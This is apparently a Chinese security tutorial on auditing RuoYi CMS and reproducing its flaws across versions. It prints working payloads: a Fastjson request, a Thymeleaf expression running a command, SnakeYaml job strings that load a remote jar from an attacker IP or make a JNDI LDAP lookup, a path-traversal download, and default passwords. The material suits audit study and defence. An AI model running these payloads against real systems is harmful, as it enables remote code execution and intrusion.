若依cms代码审计+不同版本漏洞复现
字数 2187 2025-08-23 18:31:25

若依CMS代码审计与漏洞复现全面指南

环境搭建

数据库配置

  1. 创建数据库ry,选择utf-8字符集,排序规则选择utf8-general-ci
  2. 导入SQL文件:
    • 打开RuoYi-v4.2\sql路径
    • 导入ry_20200323.sqlquartz.sqlry数据库

配置文件修改

  1. 数据库密码配置:
    • 修改ruoyi-admin\src\main\resources\application-druid.yml
  2. 自定义访问端口(默认80):
    • 修改ruoyi-admin\src\main\resources\application.yml

启动项目

  • 默认登录地址:http://127.0.0.1/login
  • 默认账号密码:admin/admin123

第三方组件审计

IDEA组件脆弱性审计

  1. 开启方法:
    • 设置 → 检查 → 搜索"安全性"并开启
    • 或右键pom.xml → 分析 → 显示易受攻击的依赖项

Shiro漏洞审计

版本信息:1.4.2

审计要点

  1. 寻找Shiro默认密钥:
    • 全局搜索关键词setCipherKey
    • 路径:RuoYi-v4.2\ruoyi-framework\src\main\java\com\ruoyi\framework\config\ShiroConfig
  2. 权限绕过问题:
    • 检查ShiroConfig中对资源的过滤配置
    • 1.4.2到1.8.0版本可能存在权限绕过

拦截匹配模式说明

  • /momo:精确匹配URL
  • /momo?:匹配任意单个字符
  • /momo/*:匹配单层路径
  • /momo/**:匹配多层路径

Fastjson漏洞审计(ruoyi4.2.0)

版本信息:1.2.60(<=1.2.68存在漏洞)

审计要点

  1. 全局搜索parseparseObject函数
  2. 关键漏洞点:
    • GenTableServiceImpl.javaparseObject(options)调用
    • 需要控制tplCategory参数为tree才能触发漏洞

漏洞利用步骤

  1. 访问/tool/gen/edit路径
  2. POST请求中设置:
    • tplCategory=tree
    • treeCodetreeParentCode参数
    • params中包含Fastjson payload

简化数据包示例

POST /tool/gen/edit HTTP/1.1
Host: 目标地址
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

tableName=111111&tplCategory=tree&treeCode=111111&treeParentCode=111111&params[treeName]={"@type":"java.net.Inet4Address","val":"dnslog地址"}

Thymeleaf组件漏洞(ruoyi4.7.1)

版本信息:3.0.12

漏洞原理

  • Thymeleaf模板中th:fragmentth:text等标签属性包含的内容会被渲染处理
  • ${...}表达式中的内容会被Thymeleaf EL引擎执行

审计要点

  1. 检查Controller层:
    • URL路径可控
    • return内容可控
  2. 关键漏洞点:
    • CacheController.java中的getNamesgetKeysgetValue方法

漏洞利用

  1. 绕过防护的payload:
    ${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
    
    (注意T和(之间加空格)

SnakeYaml定时任务漏洞

版本信息:1.23(几乎所有版本都存在反序列化漏洞)

漏洞原理

  • Yaml.load()参数外部可控时,攻击者可传入恶意YAML格式序列化内容

审计流程

  1. 追踪定时任务执行流程:
    • SysJobController.run()SysJobServiceImplJobInvokeUtil.invokeMethod()
  2. 关键点:
    • JobDataMap存储运行时信息
    • 最终通过反射执行任务

不同版本利用方式

Ruoyi<4.6.2

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["ftp://DNSlog地址"]]]]')

4.6.2<=Ruoyi<4.7.0

  • 绕过黑名单方法:在协议名中添加单引号
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["r'm'i'://攻击机IP/example.jar"]]]]')

Ruoyi<=v4.7.8

  1. 创建第一个任务:ryTask.ryParams('ry')
  2. 创建第二个任务:
    genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a6... WHERE job_id = 100;')
    
    (将javax.naming.InitialContext.lookup('ldap://dnslog地址')转为16进制)

基础漏洞审计

弱口令

  1. admin/admin123
  2. ry/admin123

SQL注入漏洞(ruoyi<4.6.2)

审计流程

  1. 全局搜索$限定xml文件
  2. 关键漏洞点:
    • sysDeptMapper.xmlsysUserMapper.xml
    • 通过MybatisX插件追踪调用链

利用方式

  • 访问/system/role/list
  • 添加参数params[dataScope]
  • 使用SQLMap测试

任意文件读取/下载漏洞(ruoyi<4.5.1)

漏洞点

  • CommonController.javadownload方法

利用方式

GET /common/download/resource?resource=/profile/../../1.txt HTTP/1.1
Host: 目标地址

总结

本指南详细介绍了若依CMS多个版本中的安全漏洞及其审计方法,包括环境搭建、组件审计、漏洞原理和利用方式。关键点包括:

  1. Shiro默认密钥和权限绕过问题
  2. Fastjson反序列化漏洞的触发条件和利用方式
  3. Thymeleaf模板注入漏洞的审计和绕过方法
  4. SnakeYaml反序列化漏洞在不同版本中的利用差异
  5. 基础漏洞如弱口令、SQL注入和文件读取的发现与利用

通过系统学习这些漏洞的审计方法和利用技术,可以有效提升代码审计能力和安全防护意识。

若依CMS代码审计与漏洞复现全面指南 环境搭建 数据库配置 创建数据库 ry ,选择 utf-8 字符集,排序规则选择 utf8-general-ci 导入SQL文件: 打开 RuoYi-v4.2\sql 路径 导入 ry_20200323.sql 和 quartz.sql 到 ry 数据库 配置文件修改 数据库密码配置: 修改 ruoyi-admin\src\main\resources\application-druid.yml 自定义访问端口(默认80): 修改 ruoyi-admin\src\main\resources\application.yml 启动项目 默认登录地址: http://127.0.0.1/login 默认账号密码: admin/admin123 第三方组件审计 IDEA组件脆弱性审计 开启方法: 设置 → 检查 → 搜索"安全性"并开启 或右键 pom.xml → 分析 → 显示易受攻击的依赖项 Shiro漏洞审计 版本信息 :1.4.2 审计要点 : 寻找Shiro默认密钥: 全局搜索关键词 setCipherKey 路径: RuoYi-v4.2\ruoyi-framework\src\main\java\com\ruoyi\framework\config\ShiroConfig 权限绕过问题: 检查 ShiroConfig 中对资源的过滤配置 1.4.2到1.8.0版本可能存在权限绕过 拦截匹配模式说明 : /momo :精确匹配URL /momo? :匹配任意单个字符 /momo/* :匹配单层路径 /momo/** :匹配多层路径 Fastjson漏洞审计(ruoyi4.2.0) 版本信息 :1.2.60( <=1.2.68存在漏洞) 审计要点 : 全局搜索 parse 和 parseObject 函数 关键漏洞点: GenTableServiceImpl.java 中 parseObject(options) 调用 需要控制 tplCategory 参数为 tree 才能触发漏洞 漏洞利用步骤 : 访问 /tool/gen/edit 路径 POST请求中设置: tplCategory=tree treeCode 和 treeParentCode 参数 params 中包含Fastjson payload 简化数据包示例 : Thymeleaf组件漏洞(ruoyi4.7.1) 版本信息 :3.0.12 漏洞原理 : Thymeleaf模板中 th:fragment 、 th:text 等标签属性包含的内容会被渲染处理 ${...} 表达式中的内容会被Thymeleaf EL引擎执行 审计要点 : 检查Controller层: URL路径可控 return内容可控 关键漏洞点: CacheController.java 中的 getNames 、 getKeys 、 getValue 方法 漏洞利用 : 绕过防护的payload: (注意T和(之间加空格) SnakeYaml定时任务漏洞 版本信息 :1.23(几乎所有版本都存在反序列化漏洞) 漏洞原理 : 当 Yaml.load() 参数外部可控时,攻击者可传入恶意YAML格式序列化内容 审计流程 : 追踪定时任务执行流程: SysJobController.run() → SysJobServiceImpl → JobInvokeUtil.invokeMethod() 关键点: JobDataMap 存储运行时信息 最终通过反射执行任务 不同版本利用方式 : Ruoyi <4.6.2 4.6.2<=Ruoyi <4.7.0 绕过黑名单方法:在协议名中添加单引号 Ruoyi <=v4.7.8 创建第一个任务: ryTask.ryParams('ry') 创建第二个任务: (将 javax.naming.InitialContext.lookup('ldap://dnslog地址') 转为16进制) 基础漏洞审计 弱口令 admin/admin123 ry/admin123 SQL注入漏洞(ruoyi <4.6.2) 审计流程 : 全局搜索 $ 限定xml文件 关键漏洞点: sysDeptMapper.xml 和 sysUserMapper.xml 通过 MybatisX 插件追踪调用链 利用方式 : 访问 /system/role/list 添加参数 params[dataScope] 使用SQLMap测试 任意文件读取/下载漏洞(ruoyi <4.5.1) 漏洞点 : CommonController.java 的 download 方法 利用方式 : 总结 本指南详细介绍了若依CMS多个版本中的安全漏洞及其审计方法,包括环境搭建、组件审计、漏洞原理和利用方式。关键点包括: Shiro默认密钥和权限绕过问题 Fastjson反序列化漏洞的触发条件和利用方式 Thymeleaf模板注入漏洞的审计和绕过方法 SnakeYaml反序列化漏洞在不同版本中的利用差异 基础漏洞如弱口令、SQL注入和文件读取的发现与利用 通过系统学习这些漏洞的审计方法和利用技术,可以有效提升代码审计能力和安全防护意识。